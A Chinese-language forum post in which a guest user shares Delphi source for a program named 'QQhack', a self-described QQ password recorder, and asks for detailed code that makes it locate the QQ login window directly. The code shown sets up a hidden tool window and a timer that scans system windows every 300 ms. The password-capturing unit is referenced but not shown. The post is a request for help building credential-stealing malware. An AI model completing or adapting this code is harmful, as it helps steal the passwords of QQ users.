赵
赵鑫
Unregistered / Unconfirmed
GUEST, unregistred user!
下边的代码我想把它改成直接查找QQ的登陆的窗口,希望能给我详细的代码~谢谢<br><br>program QQhack;<br><br>uses<br> Windows,<br> Messages,<br> mainunit in 'C:/Program Files/Borland/Delphi7/Projects/mainunit.pas';<br><br>{$R *.RES}<br><br>var <br>wClass: TWndClass; // class struct for main window <br>Msg: TMSG; // message struct <br><br>procedure ShutDown; <br>begin<br>UnRegisterClass(classname,hInst);<br>ExitProcess(hInst); //end program<br>end; <br><br>function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall; <br>begin <br>Result:=DefWindowProc(hWnd,Msg,wParam,lParam); <br>case Msg of <br>WM_CREATE: wincreate; <br>WM_TIMER: ontimer1; <br>WM_DESTROY: ShutDown; <br>end;<br>end;<br><br>begin <br>//如果旧版本已运行,则停止旧版程序,只运行当前新版程序 <br>hmain:=Findwindow('HackSoft-Qq-Password-Recoder','OQ密码记录器3');<br>if hmain<>0 then sendmessage(lp,wm_destroy,0,0); <br><br><br>hInst:=GetModuleHandle(nil); // get the application instance<br>classname:='HackSoft-Qq-Password-Recoder';<br>with wClass do<br>begin<br> Style:= CS_PARENTDC;<br> hIcon:= LoadIcon(hInst,'MAINICON');<br> lpfnWndProc:= @WindowProc;<br> hInstance:= hInst;<br> hbrBackground:= COLOR_BTNFACE+1;<br> lpszClassName:= classname;<br> hCursor:= LoadCursor(0,IDC_ARROW);<br>end;<br>RegisterClass(wClass);<br>hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'QQ密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);<br>//建立一个新的定时器,用来定时扫描系统中的窗口 <br>newtime:=SetTimer(hmain,0,300,nil);<br>//建立消息循环<br>while(GetMessage(Msg,hmain,0,0))do<br>begin<br> TranslateMessage(Msg);<br> DispatchMessage(Msg);<br>end;<br>//结束定时器<br>killtimer(hmain,newtime);<br>end.